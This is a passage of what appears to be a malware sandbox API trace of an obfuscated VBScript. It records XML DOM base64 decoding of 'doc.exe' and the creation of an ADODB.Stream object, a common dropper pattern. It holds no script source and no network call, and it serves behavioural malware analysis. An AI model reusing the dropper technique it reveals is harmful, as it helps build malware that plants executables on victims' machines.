DOMDocument:IUnknown:QueryInterface (in: This=0x555490, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bae4 | out: ppvObject=0x14bae4*=0x556600) returned 0x0 [0073.156] DOMDocument:IUnknown:AddRef (This=0x556600) returned 0x2 [0073.156] DOMDocument:IUnknown:Release (This=0x556600) returned 0x1 [0073.156] DOMDocument:IUnknown:Release (This=0x555490) returned 0x2 [0073.156] DOMDocument:IUnknown:QueryInterface (in: This=0x556600, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbcc | out: ppvObject=0x14bbcc*=0x556634) returned 0x0 [0073.156] DOMDocument:IDispatchEx:GetDispId (in: This=0x556634, bstrName="CreateElement", grfdex=0x8, pid=0x14bbe8 | out: pid=0x14bbe8*=41) returned 0x0 [0073.156] DOMDocument:IUnknown:Release (This=0x556634) returned 0x1 [0073.156] DOMDocument:IUnknown:AddRef (This=0x556600) returned 0x2 [0073.156] DOMDocument:IUnknown:QueryInterface (in: This=0x556600, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbd4 | out: ppvObject=0x14bbd4*=0x556634) returned 0x0 [0073.157] DOMDocument:IDispatchEx:InvokeEx (in: This=0x556634, id=41, lcid=0x409, wFlags=0x3, pdp=0x14bba0*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x87e491c)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x14bcb4, pei=0x14bb7c, pspCaller=0x846d1c8 | out: pdp=0x14bba0*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x87e491c)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x14bcb4*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x554700, varVal2=0x0), pei=0x14bb7c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0073.157] DOMDocument:IUnknown:Release (This=0x556634) returned 0x2 [0073.157] DOMDocument:IUnknown:Release (This=0x556600) returned 0x1 [0073.157] DOMDocument:IUnknown:QueryInterface (in: This=0x554700, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bac4 | out: ppvObject=0x14bac4*=0x5546e0) returned 0x0 [0073.157] DOMDocument:IUnknown:Release (This=0x554700) returned 0x1 [0073.157] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0073.157] DOMDocument:IUnknown:Release (This=0x1112908) returned 0x0 [0073.157] ??3@YAXPAX@Z () returned 0x500001 [0073.157] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0073.157] ??3@YAXPAX@Z () returned 0x840001 [0073.157] ??3@YAXPAX@Z () returned 0x4a0001 [0073.157] ??3@YAXPAX@Z () returned 0xffff0001 [0073.158] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.158] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.158] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.158] GetCurrentThreadId () returned 0xd44 [0073.158] IUnknown:Release (This=0x1197760) returned 0x7 [0073.158] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.158] malloc (_Size=0x804) returned 0x8790008 [0073.158] ??2@YAPAXI@Z () returned 0x844b458 [0073.158] ??3@YAXPAX@Z () returned 0x1 [0073.158] malloc (_Size=0x204) returned 0x8790818 [0073.158] ??2@YAPAXI@Z () returned 0x11291c0 [0073.158] free (_Block=0x83d08e0) [0073.158] free (_Block=0x8790008) [0073.158] ??3@YAXPAX@Z () returned 0xffff0001 [0073.158] free (_Block=0x1197838) [0073.158] free (_Block=0x8790818) [0073.158] free (_Block=0x83d9bc8) [0073.158] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.159] ??2@YAPAXI@Z () returned 0x83fd610 [0073.159] IUnknown:AddRef (This=0x1197760) returned 0x8 [0073.159] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0073.159] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0073.159] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbcc | out: ppvObject=0x14bbcc*=0x5546e0) returned 0x0 [0073.159] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="DataType", grfdex=0x8, pid=0x14bbe8 | out: pid=0x14bbe8*=26) returned 0x0 [0073.159] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0073.159] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0073.159] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbd4 | out: ppvObject=0x14bbd4*=0x5546e0) returned 0x0 [0073.159] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=26, lcid=0x409, wFlags=0x4, pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x11c, wReserved2=0x2b, wReserved3=0x0, varVal1="bin.base64", varVal2=0x802)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c, pspCaller=0x846d1c8 | out: pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x11c, wReserved2=0x2b, wReserved3=0x0, varVal1="bin.base64", varVal2=0x802)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0073.160] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0073.160] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0073.160] ??3@YAXPAX@Z () returned 0x840001 [0073.160] ??3@YAXPAX@Z () returned 0x4a0001 [0073.160] ??3@YAXPAX@Z () returned 0xffff0001 [0073.160] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.160] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vartyzx", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.160] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vartyzx", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.160] GetCurrentThreadId () returned 0xd44 [0073.160] IUnknown:Release (This=0x1197760) returned 0x7 [0073.160] malloc (_Size=0x404) returned 0x83dbdc0 [0073.160] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.160] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vartx", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.160] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vartx", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.160] GetCurrentThreadId () returned 0xd44 [0073.161] IUnknown:Release (This=0x1197760) returned 0x7 [0073.161] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.161] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.161] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.161] GetCurrentThreadId () returned 0xd44 [0073.161] IUnknown:Release (This=0x1197760) returned 0x7 [0073.161] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.161] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.161] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.161] GetCurrentThreadId () returned 0xd44 [0073.162] IUnknown:Release (This=0x1197760) returned 0x7 [0073.162] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.162] malloc (_Size=0x804) returned 0x8790008 [0073.162] ??2@YAPAXI@Z () returned 0x844b458 [0073.162] ??3@YAXPAX@Z () returned 0x1 [0073.162] malloc (_Size=0x204) returned 0x8790818 [0073.162] ??2@YAPAXI@Z () returned 0x11291c0 [0073.162] free (_Block=0x83d08e0) [0073.162] free (_Block=0x8790008) [0073.162] ??3@YAXPAX@Z () returned 0xffff0001 [0073.162] free (_Block=0x1197838) [0073.162] free (_Block=0x8790818) [0073.162] free (_Block=0x83d9bc8) [0073.162] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.162] ??2@YAPAXI@Z () returned 0x83fd610 [0073.162] IUnknown:AddRef (This=0x1197760) returned 0x8 [0073.162] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0073.162] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0073.162] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbcc | out: ppvObject=0x14bbcc*=0x5546e0) returned 0x0 [0073.163] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="Text", grfdex=0x8, pid=0x14bbe8 | out: pid=0x14bbe8*=24) returned 0x0 [0073.163] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0073.163] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0073.163] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbd4 | out: ppvObject=0x14bbd4*=0x5546e0) returned 0x0 [0073.163] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=24, lcid=0x409, wFlags=0x4, pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x14, wReserved2=0xb954, wReserved3=0x14, varVal1="ZG9jLmV4ZQ==", varVal2=0x83d9d38)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c, pspCaller=0x846d1c8 | out: pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x14, wReserved2=0xb954, wReserved3=0x14, varVal1="ZG9jLmV4ZQ==", varVal2=0x83d9d38)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0073.163] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0073.163] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0073.163] ??3@YAXPAX@Z () returned 0x840001 [0073.163] ??3@YAXPAX@Z () returned 0x4a0001 [0073.163] ??3@YAXPAX@Z () returned 0xffff0001 [0073.164] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14beb8 | out: ppvObject=0x14beb8*=0x5546e0) returned 0x0 [0073.164] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="NodeTypedValue", grfdex=0x8, pid=0x14bed4 | out: pid=0x14bed4*=25) returned 0x0 [0073.164] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0073.164] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0073.164] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bec0 | out: ppvObject=0x14bec0*=0x5546e0) returned 0x0 [0073.164] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=25, lcid=0x409, wFlags=0x3, pdp=0x14be8c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718, pei=0x14be68, pspCaller=0x846d1c8 | out: pdp=0x14be8c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6ae4ba8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b92af0*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), pei=0x14be68*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0073.164] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0073.164] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0073.164] IUnknown:AddRef (This=0x1197760) returned 0x8 [0073.164] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.165] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="lfkfdiooie", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.165] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.165] GetCurrentThreadId () returned 0xd44 [0073.165] IUnknown:Release (This=0x1197760) returned 0x8 [0073.165] ??2@YAPAXI@Z () returned 0x838c558 [0073.165] ??2@YAPAXI@Z () returned 0x1105cd0 [0073.165] malloc (_Size=0x40) returned 0x1197838 [0073.165] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 5 [0073.165] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6b1e3a4, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0073.165] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.165] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vgct783hth", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.165] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vgct783hth", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.166] GetCurrentThreadId () returned 0xd44 [0073.166] IUnknown:Release (This=0x1197760) returned 0x8 [0073.166] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.166] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="piiing", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.166] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="piiing", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.166] GetCurrentThreadId () returned 0xd44 [0073.166] IUnknown:Release (This=0x1197760) returned 0x8 [0073.166] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.167] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ldiwuywfj", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.167] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.167] GetCurrentThreadId () returned 0xd44 [0073.167] IUnknown:Release (This=0x1197760) returned 0x8 [0073.167] malloc (_Size=0x204) returned 0x8444028 [0073.167] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.167] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.167] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.167] GetCurrentThreadId () returned 0xd44 [0073.168] IUnknown:Release (This=0x1197760) returned 0x8 [0073.168] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.168] malloc (_Size=0x804) returned 0x8790008 [0073.168] ??2@YAPAXI@Z () returned 0x844b458 [0073.168] ??3@YAXPAX@Z () returned 0x1 [0073.168] malloc (_Size=0x204) returned 0x8790818 [0073.168] ??2@YAPAXI@Z () returned 0x11291c0 [0073.168] free (_Block=0x83d08e0) [0073.168] free (_Block=0x8790008) [0073.168] ??3@YAXPAX@Z () returned 0xffff0001 [0073.168] free (_Block=0x1197880) [0073.168] free (_Block=0x8790818) [0073.168] free (_Block=0x83d9df8) [0073.168] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.168] ??2@YAPAXI@Z () returned 0x83fd610 [0073.168] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.168] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0073.168] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x14b8f8 | out: lpclsid=0x14b8f8*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0073.168] SysStringLen (param_1=0x0) returned 0x0 [0073.168] CoGetClassObject (in: rclsid=0x14b8f8*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14b8e8 | out: ppv=0x14b8e8*=0x962b2d0) returned 0x0 [0073.169] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14b8e4 | out: ppvObject=0x14b8e4*=0x0) returned 0x80004002 [0073.169] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b8ec | out: ppvObject=0x14b8ec*=0x962b320) returned 0x0 [0073.169] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0073.169] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14b8b0 | out: ppvObject=0x14b8b0*=0x962b350) returned 0x0 [0073.169] ??2@YAPAXI@Z () returned 0x1112908 [0073.169] Stream:IObjectWithSite:SetSite (This=0x962b350, pUnkSite=0x1112908) returned 0x0 [0073.169] DOMDocument:IUnknown:QueryInterface (in: This=0x1112908, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b7f8 | out: ppvObject=0x14b7f8*=0x0) returned 0x80004002 [0073.169] DOMDocument:IUnknown:QueryInterface (in: This=0x1112908, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b7e8 | out: ppvObject=0x14b7e8*=0x0) returned 0x80004002 [0073.169] DOMDocument:IUnknown:AddRef (This=0x1112908) returned 0x2 [0073.169] DOMDocument:IUnknown:QueryInterface (in: This=0x1112908, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b848 | out: ppvObject=0x14b848*=0x0) returned 0x80004002 [0073.169] DOMDocument:IUnknown:QueryInterface (in: This=0x1112908, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b844 | out: ppvObject=0x14b844*=0x1112908) returned 0x0 [0073.169] DOMDocument:IServiceProvider:QueryService (in: This=0x1112908, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14b86c | out: ppvObject=0x14b86c*=0x0) returned 0x80004002 [0073.169] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b820 | out: ppvObject=0x14b820*=0x83fd480) returned 0x0 [0073.169] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b81c | out: ppvObject=0x14b81c*=0x83fd490) returned 0x0 [0073.169] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14b86c | out: ppvObject=0x14b86c*=0x0) returned 0x80004002 [0073.169] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.169] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.169] DOMDocument:IUnknown:Release (This=0x1112908) returned 0x2 [0073.169] DOMDocument:IUnknown:QueryInterface (in: This=0x1112908, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b84c | out: ppvObject=0x14b84c*=0x1112908) returned 0x0 [0073.170] DOMDocument:IServiceProvider:QueryService (in: This=0x1112908, guidService=0x668531b0*(Data1=0xfc4801a1, 